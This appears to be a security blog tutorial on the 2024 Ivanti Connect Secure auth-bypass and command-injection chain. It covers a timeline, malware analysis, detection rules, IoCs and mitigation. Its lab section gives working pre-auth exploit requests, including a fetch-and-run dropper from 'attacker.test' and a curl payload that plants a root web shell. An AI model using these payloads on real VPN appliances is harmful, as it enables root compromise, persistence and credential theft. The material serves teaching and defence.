tutorials · 10 min read
Ivanti Connect Secure: the pre-auth RCE chain that opened 2024
CVE-2023-46805 (auth bypass via path traversal) + CVE-2024-21887 (command injection in /api/v1/license/keys-status). Chained, pre-auth RCE as root. Volexity publishes them on 10 January after detecting zero-day exploitation by UTA0178 since December. The official patch lands on 31 January, three weeks later.
· Manuel López Pérez · tutorials

On 10 January 2024 Volexity publishes the technical analysis of two chained zero-days in Ivanti Connect Secure (ICS) and Policy Secure: CVE-2023-46805 (auth bypass via path normalisation, CVSS 8.2) + CVE-2024-21887 (command injection in keys-status, CVSS 9.1). Chained: pre-auth RCE as root on any ICS exposed to the internet. Exploitation has been active since 3 December 2023.
On the same 10 January both CVEs enter the CISA KEV catalog. On 19 January CISA issues Emergency Directive 24-01, forcing federal agencies to apply mitigation within 48 hours. The official patch lands on 31 January — three weeks after disclosure, during which the only effective remedy is importing a mitigation XML that breaks part of the appliance’s functionality.
Volexity attributes exploitation to UTA0178, a China-nexus actor. Mandiant tracks it as UNC5221. Censys counts ~1,700 compromised appliances in the first days after disclosure; after two weeks, Volexity’s detection dataset scans some 30,000 ICS exposed to the internet.
Lab: chain reproducible with a vulnerable Ivanti image in VM +
curlpayload that bypasses auth via path traversal and injects a command in the license handler. Analysis of the GIFTEDVISITOR / WIREFIRE web shell UTA0178 drops for persistence.
The chain in one sentence
Two bugs, two endpoints:
- CVE-2023-46805 — the ICS auth filter looks at the raw request path, not the canonicalised version used by the internal router. Endpoints that do require auth (
/api/v1/license/keys-status/*) become reachable through one that doesn’t (/api/v1/totp/user-backup-code/*) by inserting an encoded../segment. - CVE-2024-21887 — the handler
license/keys-status/<node_name>passes<node_name>to asystem(...)call with no escaping. Backticks,;,|,$(...)get interpreted by the shell.
The “requires authentication” caveat on the second CVE disappears once chained with the first. Operational form of the payload (URL-encoded ../ to bypass filter normalisation but not router normalisation):
GET /api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/node`id`;# HTTP/1.1
Host: vpn.target.testThe command in the backtick runs as root. Watchtowr documents the quirk — %2e%2e/ is not decoded before the auth filter but is decoded before the router that dispatches the real handler.
Why it matters
Ivanti Connect Secure is the successor to Pulse Connect Secure — the VPN that has been showing up in state-level breaches for years (APT5 against Pulse in 2021). A lot of enterprise uses it as their main remote access. Compromising an ICS opens three things at once: active SSL VPN sessions, credentials from the login flow, and a pivot into the internal network using the legitimate user’s own tunnel.
Two patterns appearing here and that will repeat all of 2024:
- Edge appliance opaque to the customer. ICS is a black box that receives patches when the vendor decides. When the zero-day goes public, the operator has no visibility on the code running inside.
- XML mitigation as a temporary gap. Ivanti publishes
mitigation.release.20240126.5.xmlon 26 January. A rule-based workaround that breaks functionality (login for some users, web admin, etc.). Until 31 January, operating the appliance means choosing between breaking production or staying exposed.
How the auth bypass works (CVE-2023-46805)
The ICS web frontend exposes a REST API at /api/v1/*. Some endpoints are public (part of the pre-auth login flow, recovery, etc.) and others require a valid session. The decision is made by a filter that inspects the request path and looks it up in a table of “routes that require auth”.
The bug is in how the path is compared. The filter looks at the raw request prefix, not the canonicalised path. This enables path traversal:
/api/v1/totp/user-backup-code/ → allowed without auth
/api/v1/license/keys-status/ → requires admin authBut:
/api/v1/totp/user-backup-code/../../license/keys-status/<X>The internal router resolves the path as /api/v1/license/keys-status/<X> and dispatches it to the corresponding handler. The auth filter, meanwhile, saw the user-backup-code prefix and let the request through without a token.
The duy-31 public PoC shows several routes that become reachable with this primitive:
/api/v1/totp/user-backup-code/../../configuration/system/configuration
/api/v1/totp/user-backup-code/../../system/active-users
/api/v1/totp/user-backup-code/../../configuration/administrators/admin-realms/realm/Admin%20UsersEach of those returns data that normally requires admin. The jackpot is the license endpoint, which is what I cover next.
How the command injection works (CVE-2024-21887)
The handler for /api/v1/license/keys-status/<node_name> receives node_name as a path segment and passes it to a backend routine that concatenates it into a call to the system shell. Picus Security’s analyses and the public nuclei template confirm the sink is direct: no parameterisation, no escaping.
If node_name contains ; or backticks, the shell interprets the character as a command separator. Minimal payload:
GET /api/v1/totp/user-backup-code/../../license/keys-status/;id; HTTP/1.1The output of id running as root appears in the endpoint response or, in some variants, in a side channel of the handler itself. Replace id with curl http://attacker.test/stage.sh | sh and you have a dropper in one request.
PoC in the lab
Reproducing it in Docker isn’t trivial — Ivanti doesn’t publish an official image. The option for CTF / authorised lab: the evaluation VM Ivanti distributes to registered customers with version 22.5R1.1 (vulnerable) on a local hypervisor.
# 1) Sanity check the path traversal — pre-auth to a protected endpoint
curl -sk \
"https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/system/system-information" \
-H "Accept: application/json"
# {"version":"22.5R1.1","build":"4234", ...}
# 2) RCE — backtick in the path segment
curl -sk \
"https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/node\`id\`;#"
# The command output appears in the JSON error or in the log depending on version.
# 3) Drop a CGI web shell in the served web directory
PAYLOAD='curl -sL http://10.10.10.13/shell.cgi -o /home/webserver/htdocs/dana-na/auth/x.cgi && chmod +x /home/webserver/htdocs/dana-na/auth/x.cgi'
PAYLOAD_ENC=$(python3 -c "import urllib.parse;print(urllib.parse.quote('node\`$1\`;#'.replace('\$1','''$PAYLOAD''')))")
curl -sk "https://lab-ivanti.local/api/v1/totp/user-backup-code/%2e%2e/%2e%2e/license/keys-status/${PAYLOAD_ENC}"
# 4) Access the web shell
curl -sk "https://lab-ivanti.local/dana-na/auth/x.cgi?cmd=whoami"
# rootVariant with nuclei for bulk scanning (the official CVE-2024-21887.yaml and CVE-2023-46805.yaml templates live in the repo):
nuclei -t http/cves/2024/CVE-2024-21887.yaml -u https://lab-ivanti.local
# [CVE-2024-21887] [http] [critical] https://lab-ivanti.localCapturing the final request with tcpdump -i any -A 'tcp port 443' from inside the appliance (via the chain) confirms that the first request doesn’t even trigger an entry in the auth log — for ICS the request “fails” in the license handler, but the shell already ran.
What UTA0178 / UNC5221 leave on the box
Volexity and Mandiant publish detailed IoCs in their analyses. Malware families observed in-the-wild in January 2024:
- GIFTEDVISITOR (Volexity) / WIREFIRE (Mandiant) — the same Python web shell. Injected into
/home/perl/PERL/lib/site_perl/CAV/system/visits.py(or variants depending on version). Adds a malicious endpoint under/api/v1/cav/client/visitsthat receives commands via POST encrypted with AES + zlib compression, wrapped in what looks like a GIF image. - GLASSTOKEN (Volexity) — a .NET web shell for boxes where the attacker needed additional persistence via IIS or another frontend.
- LIGHTWIRE (Mandiant) — Perl CGI web shell injected into
compcheckresult.cgi. Intercepts requests withcomp=compandcompid=<base64-rc4>parameters. The payload is Base64-decoded, RC4-decrypted and executed as Perlevalcode. - THINSPOOL (Mandiant) — the persistent dropper. Before writing LIGHTWIRE to the filesystem (which ICS mounts read-only), THINSPOOL does
mount -o remount,rw /, writes, and goes back toremount,ro. This lets it survive appliance updates, which re-apply LIGHTWIRE after each reboot. - WARPWIRE (Mandiant) — JavaScript credential harvester. Modifies
lastauthserverused.js(part of the login flow) toPOSTplaintext credentials to a C2 domain (symantke[.]comin the original IoCs). - ZIPLINE (Mandiant) — passive backdoor. Hooks
accept()inlibsecure.soand activates when an incoming connection shows theSSH-2.0-OpenSSH_0.3xxbanner. Provides reverse shell, upload/download, proxy and tunnels.
Quick triage on an appliance you suspect is compromised — all from the ICS console (not in production without staging):
# 1. Look in /tmp for suspicious files created after December 2023
$ find /tmp -newermt "2023-12-01" -type f 2>/dev/null
# 2. Diff compcheckresult.cgi and visits.py against a clean copy of the same version
$ md5sum /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi
# 3. Look for the LIGHTWIRE pattern in the CGI
$ grep -l "comp=comp" /home/webserver/htdocs/dana-na/auth/*.cgi
# 4. Confirm the filesystem is actually read-only — if it isn't, someone remounted
$ mount | grep " / "Operational catch: Ivanti’s official Integrity Checker Tool has been updated several times during January 2024 because UTA0178 tweaks the malware to evade it. For reliable detection, Volexity + Mandiant IoCs in an external audit tool give more confidence than the native check.
Detection from outside
If you have an ICS in your perimeter and can’t take it down, three signals you can monitor in NDR / proxy / WAF without appliance access:
- Path traversal in
/api/v1/totp/user-backup-code/— any request with..in the path under that endpoint is an almost certain indicator. A SIGMA rule:selection: cs-uri-stem|contains: '/api/v1/totp/user-backup-code/' cs-uri-stem|contains: '..' - POSTs to
/api/v1/cav/client/visitswith binary payloads — the legitimate endpoint receives JSON. POSTs withContent-Type: image/gifor binary bodies are GIFTEDVISITOR / WIREFIRE. - Outbound traffic from ICS to unknown domains — a healthy ICS only talks to the Ivanti update server, NTP, syslog if configured, and internal authentication servers. Any egress connection to an unexpected external domain is a signal.
YARA — static detection of UTA0178 malware
Public rules from Mandiant + Volexity:
rule ivanti_uta0178_lightwire_perl_webshell
{
meta:
cve = "CVE-2024-21887"
ref = "https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day/"
strings:
$cgi_marker = "compcheckresult.cgi" ascii
$param_comp = "$cgi->param('comp')" ascii
$param_id = "$cgi->param('compid')" ascii
$rc4 = /\beval\s*\(\s*pack\s*\(\s*['"]H\*['"]/ ascii
$b64 = "MIME::Base64" ascii
condition:
2 of them
}
rule ivanti_uta0178_wirefire_python_webshell
{
meta:
cve = "CVE-2024-21887"
ref = "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"
strings:
$visit_endpoint = "/api/v1/cav/client/visits" ascii
$aes_cbc = "AES.new" ascii
$zlib = "zlib.decompress" ascii
$gif_header = { 47 49 46 38 39 61 } // "GIF89a"
$exec = "exec(" ascii
condition:
3 of them
}
rule ivanti_uta0178_warpwire_credential_harvester
{
meta:
cve = "CVE-2024-21887"
description = "JavaScript modifications to lastauthserverused.js that exfiltrate plaintext credentials"
strings:
$js_file = "lastauthserverused.js" ascii
$fetch_post = /fetch\s*\(\s*['"]https?:\/\/[^'\"]+['"]\s*,\s*\{\s*method:\s*['"]POST['"]/ ascii
$btoa = "btoa(" ascii
$username = "username" ascii
$password = "password" ascii
condition:
$js_file and $fetch_post and $btoa and ($username or $password)
}KQL — Microsoft Sentinel to detect the chain in WAF logs
// 1) Path traversal on the pre-auth endpoint
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS" or Category == "ApplicationGatewayFirewallLog"
| where requestUri_s contains "/api/v1/totp/user-backup-code/"
| where requestUri_s contains ".."
| project TimeGenerated, clientIp_s, requestUri_s, ruleSetType_s, action_s
// 2) Request to the injectable license/keys-status endpoint
| union (
AzureDiagnostics
| where requestUri_s contains "/api/v1/license/keys-status/"
| where requestUri_s matches regex @"[;`|&]" // shell metacharacters
| project TimeGenerated, clientIp_s, requestUri_s, ruleSetType_s, action_s
)
// 3) POSTs to /api/v1/cav/client/visits with suspicious Content-Type
| union (
AzureDiagnostics
| where requestUri_s contains "/api/v1/cav/client/visits"
| where Method == "POST"
| where parse_json(headers_s).["Content-Type"] in ("image/gif", "application/octet-stream")
| project TimeGenerated, clientIp_s, requestUri_s, headers_s
)
| order by TimeGenerated descSigma — consolidated chain detection
title: Ivanti Connect Secure Pre-Auth Chain Exploitation
id: 1e2f3a4b-5c6d-7e8f-9a0b-1c2d3e4f5a6b
status: stable
references:
- https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
- https://cisa.gov/news-events/directives/ed-24-01
logsource:
product: webserver
detection:
auth_bypass:
cs-uri-stem|contains: '/api/v1/totp/user-backup-code/'
cs-uri-stem|contains: '..'
cmd_injection:
cs-uri-stem|contains: '/api/v1/license/keys-status/'
cs-uri-stem|re: '[;`|&]'
condition: auth_bypass or cmd_injection
level: criticalConsolidated IoCs (Volexity AA24-016A + Mandiant)
| Type | Indicator |
|---|---|
| C2 domain | symantke[.]com (WARPWIRE exfil) |
| C2 domain | gpoaccess[.]com, webb-institute[.]com (Mandiant) |
| Campaign User-Agent | Mozilla/4.0 (compatible) with sparse headers |
| Post-exploit file path | /home/perl/PERL/lib/site_perl/CAV/system/visits.py |
| Post-exploit file path | /home/webserver/htdocs/dana-na/auth/compcheckresult.cgi (modified) |
| Post-exploit file path | /data/runtime/scripts/sessionserver-default.cfg (config tampering) |
| Hash GIFTEDVISITOR (Volexity) | SHA-256 published in the original advisory |
| Hash LIGHTWIRE (Mandiant) | SHA-256 published in the Cutting Edge blog |
Mitigation and patch
Short timeline:
- 10 January — Volexity publishes. Ivanti acknowledges. The mitigation XML (
mitigation.release.20240110.1.xml) is available the same day, though it breaks some integrations. - 22 January — CISA deadline for FCEB: apply mitigation or disconnect.
- 26 January — Ivanti publishes
mitigation.release.20240126.5.xml, a more stable version. - 31 January — first real patch, for versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2 and 22.5R1.1.
- 1 February — patch for 22.5R2.2 and Policy Secure 22.5R1.1.
CISA asked agencies to assume compromise if the appliance was exposed to the internet at any point between 1 December 2023 and 22 January 2024 — and to consequently rotate the appliance’s own credentials, certificates and any integrated identity provider credentials. Passive rotation isn’t enough: if UTA0178 hooked lastauthserverused.js, they walked away with plaintext credentials from every login that hit the portal during the period.
The operational rule for edge appliances in general — and one that will come back many times in 2024 — is: patching doesn’t end the response. It ends the incident only if secret rotation and audit of activity during the compromise window follow.
References
- Volexity, Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN (10 January 2024): https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
- Mandiant / Google Cloud Threat Intelligence, Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation: https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day/
- Mandiant, Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation: https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/
- CISA Emergency Directive 24-01: https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
- Ivanti KB CVE-2023-46805 / CVE-2024-21887: https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways
- NVD CVE-2023-46805: https://nvd.nist.gov/vuln/detail/CVE-2023-46805
- NVD CVE-2024-21887: https://nvd.nist.gov/vuln/detail/CVE-2024-21887
- Rapid7 technical analysis: https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/
- Public PoC (Chocapikk): https://github.com/Chocapikk/CVE-2024-21887
- Public PoC (duy-31): https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887


